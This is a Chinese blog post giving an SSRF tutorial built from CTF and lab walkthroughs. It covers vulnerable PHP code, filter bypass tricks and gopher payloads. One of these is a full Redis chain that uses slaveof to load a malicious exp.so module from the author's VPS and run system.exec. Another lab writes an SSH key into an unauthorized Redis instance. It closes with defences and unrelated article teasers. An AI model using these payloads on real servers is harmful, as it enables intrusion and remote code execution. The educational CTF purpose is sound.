1_ssrf总结
content
- 什么是ssrf?
- 简介
- 原理
- 危害
- 利用
- 内网访问
- 端口扫描
- fsockopen
- urlbypass
- 127.0.0.0被禁止
- @绕过
- 302跳转
- DNS重绑定绕过
- file协议
- dict协议
- gopher协议
- 主从复制打redis
- 打mysql
- 打fastcgi协议
- 打未授权redis
- Defence
什么是ssrf?
简介
SSRF(Server-Side Request Forgery)漏洞是一种服务端请求伪造漏洞,攻击者在未获得服务器权限的情况下,利用服务器漏洞以服务器身份发送构造好的请求给服务器所在内网。这种攻击通常针对外部网络无法直接访问的内部系统。本文将详细解析SSRF漏洞的形成原理、攻击方式和防御措施。
原理
贴别的大佬的图
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
漏洞产生相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?><?php
function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; }
}
?><?php
if (isset($_POST['url'])){$link = $_POST['url'];$curlobj = curl_init();// 创建新的 cURL 资源curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result); echo $result;
}
?>
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
危害
内部网络扫描和攻击:
攻击者可以利用SSRF漏洞扫描受害服务器所在的内部网络,探测内部服务和系统,这些内部服务通常是外界无法访问的。
通过扫描内网,攻击者可以发现和利用内部系统的漏洞,进一步提升攻击的深度和影响力。
访问受限制的资源:
攻击者能够通过受害服务器访问受防火墙或其他网络安全措施保护的资源,例如数据库、云存储服务等。
如果攻击者能够访问到敏感数据,如用户信息、财务数据等,将对数据的保密性和完整性造成严重威胁。
横向移动和权限提升:
通过对内部网络的了解,攻击者可能会利用其他已知漏洞进行横向移动,攻击其他服务器或服务。
攻击者可能利用SSRF漏洞获取更高的权限,例如访问管理后台或执行特权操作,扩大攻击范围。
信息泄露:
攻击者可以通过SSRF漏洞获取内部服务的返回数据,进而了解服务器的配置、敏感信息或其他系统信息。
这些信息可以帮助攻击者进行进一步的攻击或社会工程学攻击。
外部资源滥用:
攻击者可以利用受害服务器向第三方资源发送恶意请求,掩盖攻击源,进行DDoS攻击、垃圾邮件发送等恶意活动。
受害服务器可能会被滥用来进行未经授权的操作,例如下载或上传恶意软件、挖矿等。
服务中断:
SSRF攻击可能导致目标服务器向自身或其他服务发送大量请求,造成服务的资源耗尽,从而导致服务中断或性能显著下降。
跨站请求伪造(CSRF)放大:
SSRF漏洞有时可以与CSRF攻击结合使用,放大攻击效果。例如,攻击者可以通过CSRF让受害者的浏览器发送SSRF请求,进一步扩展攻击面。
ssrf利用的协议(1)file:在有回显的情况下,利用 file 协议可以读取任意内容(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell(4)http/s:探测内网主机存活
利用
内网访问
ctfhub题目
提示:尝试访问位于127.0.0.1的flag.php吧
内网访问还有对应老漏洞,可以看其他大佬的复现
端口扫描
ctfhub技能树ssrf端口扫描,进去一片空白,url可以传参。题目提示端口8000到9000
爆破对应范围端口即可
GET /?url=127.0.0.1:§1§ HTTP/1.1
Host: challenge-229ec791bcdc9f8b.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
fsockopen
举例
[HNCTF 2022 WEEK2]ez_ssrf
<?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
}
fp=fsockopen(host,intval(port),$error,$errstr,30);:这行代码用于建立连接到指定的主机和端口,fsockopen 函数用于打开一个网络套接字,intval(port) 将端口号转换为整数, $error 和 $errstr 是错误信息,30 是连接超时时间。
if(!$fp) { die(); }:这行代码用于检查连接是否成功,如果连接失败,则终止脚本执行。
fwrite(fp,$data);:这行代码用于将解码后的数据发送到连接的主机。
while(!feof($data)) { echo fgets($fp,128); }:这行代码用于读取主机的响应数据,并将其输出到客户端,feof($data) 检查数据是否结束,fgets($fp,128) 读取主机的响应数据,echo 输出响应数据。
fclose($fp);:这行代码用于关闭连接。
也就是说可以发送http数据包
<?php
$a="GET /flag.php HTTP/1.1\r\n";
$b="Host: 127.0.0.1\r\n";
$c="Connection: Close\r\n\r\n";//确保在收到响应后关闭连接
echo base64_encode($a.$b.$c)."\n";
?>
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
urlbypass
一般要求前面加http/s协议。
127.0.0.0被禁止
1.Windows: 0 代表的是0.0.0.0,Linux 0代表127.0.0.1
2.Windows和Linux下127.0.0.1均可写成127.1
3.短网址:http://www.metools.info/master/shorturl180.html,https://dwz.cn/
4.ip地址16进制、8进制绕过、10进制绕过。http://www.metools.info/other/ipconvert162.html#google_vignette
5.127.⓿.⓿.1没试过,据说可以绕过。
6.127。0。0。1 可以替代127.0.0.1(Linux)
7.利用[::]绕过 http://[::]:80/ >>> http://127.0.0.1
8.可以指向任意ip的域名----xip.io,原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
9.2.添加端口号----http://127.0.0.1:8080
@绕过
url完整格式
协议类型://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
http://baidu.com@1.1.1.1就是访问http://1.1.1.1
302跳转
本地写个php
<?php
header("Location:http://xx/xxx");
命令行php -S + 你的ip:端口
然后访问你的ip+端口就会跳转到http://xx/xxx。条件是在漏洞注入点可以传参url=你的ip+端口
DNS重绑定绕过
ctfhub技能树有题目。
推荐看这个文章https://xz.aliyun.com/t/7495?time__1311=n4%2BxnD0G0%3Dit0Qei%3DNDsA3OrD9D0E2uu2MxiKx&alichlgref=https%3A%2F%2Fcn.bing.com%2F
ceye.io这个网站可以给你一个域名,你可以将这个域名和某个ip绑定,访问这个域名相当访问了对应的ip
url=绑定有ip的域名/flag.php,多传几次,不是每次都能利用成功
file协议
file协议可以读取本地文件
pikachu靶场:
dict协议
dict:// 字典服务器协议,访问字典资源,可以泄露安装软件版本信息,查看端口,操作内网redis服务等
由于我ctfhub做出来后再做一遍不知道为什么就扫不出来了,无法复现,题目就看这位大佬的吧
pikachu靶场也可以实验,比如探测80端口,我是用PHPstudy带的apache搭建的,可以看到一些信息被列出来了。
gopher协议
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
gopher://IP:PORT/_+TCP/IP数据。_是因为gopher协议默认不发送第一个字符。
ctfhub题目。技能树ssrf部分
先试试file协议读取代码
index.php
<?php
#index.php
error_reporting(0);if (!isset($_REQUEST['url'])){header("Location: /?url=_");exit;
}$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
<?php
#flag.php
error_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return;
}$flag=getenv("CTFHUB");
$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag;exit;
}
?><form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
令url=http://127.0.0.1/flag.php,然后看源码发现key的值
from urllib import parse
payload="""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 key=35a767bffd303ead4f0ea75b4b5c76d2
"""
payload=parse.quote(payload)
payload=payload.replace('%0A','%0D%0A')
print("gopher://127.0.0.1:80/_"+parse.quote(payload))
构造payload,访问index.php时抓包,url=payload即可。
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%2520%250D%250A%250D%250Akey%253D35a767bffd303ead4f0ea75b4b5c76d2%250D%250A
- 工具gopherus
https://github.com/tarunkant/Gopherus
主从复制打redis
经典题目[网鼎杯 2020 玄武组]SSRFMe,复现参考https://www.freebuf.com/articles/web/293030.html
<?php
function check_inner_ip($url)
{$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}}
if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
check_inner_ip($url)这是一个 PHP 函数,用于检查给定的 URL 是否是内网 IP 地址。下面是函数的解读:
首先,函数使用正则表达式来检查 URL 的格式是否正确。如果 URL 格式不正确,函数将退出并输出错误信息 "url fomat error"。
如果 URL 格式正确,函数将使用 parse_url 函数将 URL 解析成各个组件,包括主机名(host)。
然后,函数使用 gethostbyname 函数将主机名转换为 IP 地址。
将 IP 地址转换为整数形式,使用 ip2long 函数。
最后,函数检查整数形式的 IP 地址是否属于内网 IP 地址范围。内网 IP 地址范围包括:127.0.0.0/8(localhost)10.0.0.0/8172.16.0.0/12192.168.0.0/16函数使用位操作符(>>)来检查 IP 地址是否在这些范围内。如果是,函数返回 true,否则返回 false。
总的来说,这个函数可以用于检查 URL 是否指向内网 IP 地址,如果是,返回 true,否则返回 false。
linux中0.0.0.0可以代替127.0.0.1.url=http://0.0.0.0/hint.php,访问得到redis密码root
用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
Awsome-Redis-Rogue-Server,有授权使用
将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
自己的vps(我上网买的,正好cloudcone促销活动)上面开启主服务
python3 redis_rogue_server.py -v -path exp.so -lport 21000
打redis常用命令
---1. **INFO** 用于获取 Redis 服务器的信息,包括主从状态、内存使用情况等。 示例:`INFO replication`2. **SLAVEOF** 用来设置某个 Redis 实例为另一个实例的从节点。 示例:`SLAVEOF <master-ip> <master-port>` (注:可以用 `SLAVEOF no one` 来解除主从关系)3. **CONFIG SET** 用来修改 Redis 配置,例如设置从节点的主节点。 示例:`CONFIG SET slaveof <master-ip> <master-port>` 其他配置示例:- `CONFIG SET dir /root/redis`:设置保存目录。- `CONFIG SET dbfilename redis.rdb`:设置保存文件名。- `CONFIG SET protected-mode no`:关闭安全模式。4. **CONFIG GET** 用来获取 Redis 的当前配置。 示例:- `CONFIG GET dir`:查看保存目录。- `CONFIG GET dbfilename`:查看保存文件名。5. **PING** 用于测试与 Redis 服务器的连接,成功时返回 "PONG"。 示例:`PING`6. **SET** 设置键值对。 示例:`SET key value` (键的值若包含空格,需用双引号括起来,如 `"Hello World"`)7. **MSET** 批量设置键值对。 示例:`MSET k1 v1 k2 v2 k3 v3`8. **GET** 获取指定键的值。 示例:`GET key`9. **MGET** 批量获取多个键的值。 示例:`MGET k1 k2 k3`10. **INCR** 对指定键的值进行自增操作。 示例:`INCR score`11. **KEYS** 列出当前数据库中所有的键。 示例:`KEYS *`12. **DEL** 删除指定的键。 示例:`DEL key`13. **FLUSHALL** 清空所有数据库中的数据。 示例:`FLUSHALL`14. **SAVE** 手动进行一次数据保存,将数据写入到磁盘。 示例:`SAVE`15. **EVAL** 执行 Lua 脚本,可以用来执行复杂的操作。 示例:`EVAL "your_lua_script" 0`16. **redis-cli -h <ip> -p 6379 -a <passwd>** 用于通过 IP(或域名)和端口连接 Redis 实例。 示例:`redis-cli -h 192.168.1.1 -p 6379 -a password`---### 说明:
- Redis 命令**大小写不敏感**,`SET` 和 `set` 是等效的。
- 如果获取一个不存在的键,Redis 会返回 `(nil)`。
设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth root(登录)
config set dir /tmp/(将 Redis 的工作目录更改为 /tmp/,这意味着 Redis 将在该目录下保存其数据库文件)
quit(退出)
加载exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so(设置Redis的备份文件名(即导出文件名)为exp.so 。默认情况下,Redis的备份文件名是dump.rdb)
slaveof 1.xx.xx.xx 21000
quit
执行之后,主从同步能够看到回显,会一直同步
加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
关闭关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit
导出数据库
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit
获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
gopher://0.0.0.0:6379/_auth root
system.exec “cat /flag”
quit
反弹shell的方法我这边报错
string(97) "+OK -ERR unknown command `system.rev`, with args beginning with: `xxx.xxx.xxx.xxx`, `6666`, +OK "
不知道为什么T_T,就只能用第一种方法实现
打mysql
打fastcgi协议
打未授权redis
利用redis未授权漏洞,webshell写入,ssh公钥写入,计划任务反弹shell
环境搭建: centos7,kali
这里环境配了一个晚上,各种各样问题(为什么别人复现的文章好像都没问题,一到我就各种问题🤯)。
第一个是防火墙关闭,redis配置文件已经把bind 127.0.0.1注释,并且关闭安全保护模块了,kali仍然不能连接redis服务器,另一个是访问php网站没解析而是在页面源代码里面出现源码的问题。
第一个问题网上搜半天没结果,不过gpt给了一个可行方案:
如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。
redis-server --protected-mode no
第二个问题https://blog.csdn.net/wkh___/article/details/83540713,当然也可以自己上网搜来解决
第三个问题(这个巨坑,搞了两天才发现是这个问题,之前还以为是centos没dict服务才导致的,还tm傻傻的看了一下午centos如何搭建字典服务),redis要注册成服务,否则dict协议探测不到:https://blog.csdn.net/q309572960/article/details/120855670
开始实验:
先在centos写个网站首页index.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 添加这一行以返回结果而不是直接输出
$result = curl_exec($ch);
curl_close($ch);if ($result === false) {echo 'Curl error: ' . curl_error($ch);
} else {echo $result; // 输出cURL请求的结果
}highlight_file(__FILE__);
?>
nmap 192.168.93.130无法探测到redis端口,必须指定扫描6379才探测到开放,也不知道为啥
nmap 192.168.93.130 -p 6379
kali测试联通性,存在未授权访问
测试是否存在ssrf:访问centos服务器首页:为了测试我在网站下面写了个1.txt,先http协议读取一下
读取成功可以访问内部资源
dict协议探测redis
这里还有个条件,受害机需要有.ssh目录:mkdir /root/.ssh
在攻击机中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
.png)
进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件
cd /root/.ssh
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) >ceshi.txt
把ceshi.txt给cp到桌面或者其他好打开的地方打开
然后kali如下图执行命令,向目标机写入公钥
靶机检查是否写入
采用密钥连接靶机
当然还可以直接用脚本结合gopher协议写入密钥,这个就不太会写了,看网上大佬的吧。
还有反弹shell等姿势,可以看这位大佬的https://blog.csdn.net/unexpectedthing/article/details/121667613
Defence
-
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
-
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
-
限制请求的端口为http常用的端口,比如80,443,8080,8090等。
-
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
-
禁用危险的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://,dict:// 等引起的问题。
-
为服务器端应用程序分配最小的网络访问权限,避免使用具有高级权限的账户运行应用程序。
对于需要访问外部资源的操作,使用专门的低权限账户进行身份验证和授权。 -
对所有用户输入进行严格的验证和过滤,确保输入的数据符合预期的格式和类型。
避免直接使用用户输入来构造URL或请求参数。 -
使用经过安全验证的Web框架和库,这些框架通常已经内置了SSRF防护机制。
及时更新框架和库的版本,以获取最新的安全修复和改进。
相关文章:

1_ssrf总结
content 什么是ssrf?简介原理 危害利用内网访问端口扫描fsockopenurlbypass127.0.0.0被禁止绕过302跳转DNS重绑定绕过 file协议dict协议gopher协议主从复制打redis打mysql打fastcgi协议打未授权redis Defence 什么是ssrf? 简介 SSRF(Server-Side Request Forger…...

深入解析 Redis
1. 为什么 Redis 性能至关重要? 在现代分布式应用中,Redis 被广泛作为缓存系统、消息队列、实时数据存储和会话管理等多种场景的解决方案。作为一个高性能的内存数据库,Redis 的设计理念是提供低延迟和高吞吐量的操作。然而,当 R…...

Visual Studio 2022发布UWP应用证书绑定失败
最近发布UWP应用时,卡在了关联产品这步,一直提示网络链接问题,获取不到产品信息。创建新项目也是这样,猜测低版本的VS不支持发布UWP应用了,便升级到了VS2022。VS2022创建新UWP工程确实可以关联发布应用,并成…...

K8S对接ceph的RBD块存储
1 PG数量限制问题 1.1 原因分析 1.还是老样子,先创建存储池,在初始化为rbd。 [rootceph141~]# ceph osd pool create wenzhiyong-k8s 128 128 Error ERANGE: pg_num 128 size 3 for this pool would result in 295 cumulative PGs per OSD (2067 tot…...

ragflow连不上ollama的解决方案
由于前期wsl默认装在C盘,后期部署好RagFlow后C盘爆红,在连接ollama的时候一直在转圈圈,问其他人没有遇到这种情况,猜测是因为内存不足无法加载模型导致,今天重新在E盘安装wsl 使用wsl装Ubuntu Win11 wsl-安装教程 如…...

ACL与Prefix List(前缀列表)
匹配工具一般搭配其他操作,可实现NAT,路由策略,策略路由,MQC,流量过滤等操作 通配符掩码 我们都知道子网掩码的1是精确匹配,1是大致匹配,1必须连续 我们也知道反掩码的1是大致匹配࿰…...

OpenSSH和OpenSSL升级
需求 centos7.9升级SSH和SSL OpenSSH升级为openssh9.8 OpenSSL升级为openssl-3.4.0 下载openssh最新版本与openssl对应版本 openssh最新版本下载地址 wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p1.tar.gzOpenSSL下载地址 这里下载的是3.4.0 wg…...

数据库继续学习
数据库中的外键约束的作用是什么? 外键约束用于在多表操作中保证数据的一致性、完整性和正确性。它确保引用的数据在主表中存在,从而避免孤立记录的出现。 物理外键与逻辑外键的选择? 推荐使用逻辑外键。逻辑外键是指在应用程序层面上实现外键…...

车载以太网-UDPNM
文章目录 UDPNM定义在车载以太网中的作用网络节点状态监测唤醒和睡眠管理网络拓扑发现工作流程消息发送消息接收与处理与其他车载网络协议的比较和协作UDPNM的工作原理是什么?1.消息构建与发送原理消息格式构建发送机制2.消息接收与响应原理接收过程响应机制3.状态管理与定时器…...

网页核心页面设计(第8章)
一、伪元素 伪元素是 CSS 中的一种选择器,用于选择某些特定的元素或元素的一部分,而这些元素本身并不存在于文档的结构中。伪元素使得网页设计师可以更灵活地控制样式,从而可以为元素的内容、框架或文本提供额外的样式,增强网页的…...

在PowerShell下运行curl命令出现错误:Invoke-WebRequest : 无法处理参数,因为参数名称“u”具有二义性
今天在Windows 11下测试Nanamq的HTTP API,按照其文档输入: curl -i --basic -u admin:public -X GET "http://localhost:8081/api/v4/subscriptions" 结果出现二义性错误: 而且输入curl --help命令想看看参数说明的时候ÿ…...

医疗花费预测——协方差矩阵和热力图
引言 在医疗数据分析中,预测个人的医疗花费是一个重要的课题。这不仅有助于个人健康管理,也为医疗资源的合理分配提供了数据支持。本篇博客,我们将探讨如何利用协方差矩阵和热力图来分析和预测个人的医疗花费。我们将以DataFountain提供的数…...

react antd tabs router 基础管理后台模版
在构建 React 后台管理系统时,使用标签页的方式展示路由是一种高效且用户友好的设计模式。这种实现方式通常允许用户在多个页面之间快速切换,并保留页面的状态,类似于浏览器的多标签页功能。 需求分析 1.动态标签页:根据用户的导…...

【数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】
目录😋 任务描述 相关知识 测试说明 我的通关代码: 测试结果: 任务描述 本关任务:编写一个程序实现环形队列的基本运算。 相关知识 为了完成本关任务,你需要掌握: 初始化队列、销毁队列、判断队列是否为空、进队列…...

【数据结构——栈与队列】链栈的基本运算(头歌实践教学平台习题)【合集】
目录😋 任务描述 相关知识 测试说明 我的通关代码: 测试结果: 任务描述 本关任务:编写一个程序实现链栈的基本运算。 相关知识 为了完成本关任务,你需要掌握: 初始化栈、销毁栈、判断栈是否为空、进栈、出栈、取栈…...

GIT CLONE ERROR: remote: [session-ec426a86] Access denied
报错信息: remote: [session-ec426a86] Access denied 错误原因: 1.更换了不同的GIT仓或者账号 2.之前设置了默认账号密码信息 3. git init 只初始化了GIT项目,并没有清空原有的账号密码配置 处理方法: win11需要到个人文件…...

GitHub 正式收录 MoonBit 作为一门通用编程语言!核心用户突破三万!
MoonBit 编程语言正式被 Github 收录!这对于一个仅有两年发展时间的编程语言来说是一种高度认可,期待未来由 MoonBit 编写的项目数量快速增长,早日成为首个由国人研发迈进 10 万➕ 用户的编程语言。 最近用户数已经接近 3 万(数据…...

PHP中GD库的使用
由于我要用到php的验证码 <?php session_start();// 生成验证码 $random_code substr(md5(uniqid(mt_rand(), true)), 0, 6);// 将验证码保存到 session 中 $_SESSION[captcha] $random_code;// 创建图片 $font 6; $image_width 100; $image_height 40;// 创建图像 $…...

docker安装Elasticsearch和Kibana
上传文件 加载tar包 安装 1.安装elasticsearch 通过下面的Docker命令即可安装单机版本的elasticsearch: docker run -d \--name es \-e "ES_JAVA_OPTS-Xms512m -Xmx512m" \-e "discovery.typesingle-node" \-v es-data:/usr/share/elastics…...

【Linux】文件管理必备知识和基本指令
【Linux】文件管理必备知识和基本指令 什么是操作系统什么是文件什么是路径01. ls 指令02. pwd命令03. cd 指令04. touch指令05.mkdir指令(重要):06.rmdir指令 && rm 指令(重要):rmdir指令rm指令 0…...

欢迪迈手机商城设计与实现
文末获取源码和万字论文,制作不易,感谢点赞支持。 题目:欢迪迈手机商城设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管…...

量化交易系统开发-实时行情自动化交易-3.4.2.3.数字货币市场深度数据
19年创业做过一年的量化交易但没有成功,作为交易系统的开发人员积累了一些经验,最近想重新研究交易系统,一边整理一边写出来一些思考供大家参考,也希望跟做量化的朋友有更多的交流和合作。 接下来聊聊基于Okex交易所API获取市场深…...

有序集合ZSET【Redis对象篇】
🏆 作者简介:席万里 ⚡ 个人网站:https://dahua.bloggo.chat/ ✍️ 一名后端开发小趴菜,同时略懂Vue与React前端技术,也了解一点微信小程序开发。 🍻 对计算机充满兴趣,愿意并且希望学习更多的技…...

力扣-图论-9【算法学习day.59】
前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向和记录学习过程(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非…...

如何选择安全、可验证的技术?
澳大利亚信号局的澳大利亚网络安全中心 (ASD 的 ACSC) 发布了一份指导文件,题为《选择安全和可验证的技术》,旨在帮助组织在采购软件(专有或开源)、硬件(例如物联网设备)和云服务(SaaS、MSP 服务…...

Allure在自动化测试中的应用
01 Allure的简介及使用 1、应用场景 自动化的结果一定是通过一个报告来进行体现 Allure 是一个独立的报告插件,生成美观易读的报告,目前支持Python、Java、PHP、C#等语言 为dev/QA 提供详尽的测试报告、测试步骤、日志,也可以为管理层提供统…...

C# 探险之旅:第十一节 - 循环(foreach):一场“遍历”奇幻岛的大冒险!
嘿,勇敢的探险家们!欢迎来到C#奇幻岛的第十一站——“遍历”奇幻岛!今天,我们要乘坐一艘叫做foreach的魔法船,去遍历(也就是一个一个看过来)岛上那些神秘的宝藏箱!准备好了吗&#x…...

Ubuntu24.04配置STMTrack
项目地址:https://github.com/fzh0917/STMTrack 一、安装 CUDA 参考链接: Ubuntu24.04配置DINO-Tracker Ubuntu多CUDA版本安装及切换 由于之前在其他项目中已经安装了 CUDA12.1,这次需要安装另一个版本。 1. 查看安装版本 按照 requireme…...

【Java学习笔记】Map接口和常用方法
一、 Map接口实现类的 特点[很实用] key是自己存的java对象 value是一个固定的 //当有相同的 k ,就等价于替换. 二、 Map常用方法 (根据键–>k) 三、Map接口遍历方法 package com.hspedu.map_; import java.util.*; /** * author 韩顺平 * ver…...

uniapp支持App横竖屏开发总结
一、需求: app要支持重力感应自动切换横竖屏,并切换后样式不能错乱 二、实现 官方文档 官方Git manifest.json文件中 "app-plus" : {"screenOrientation" : ["portrait-primary","portrait-secondary","…...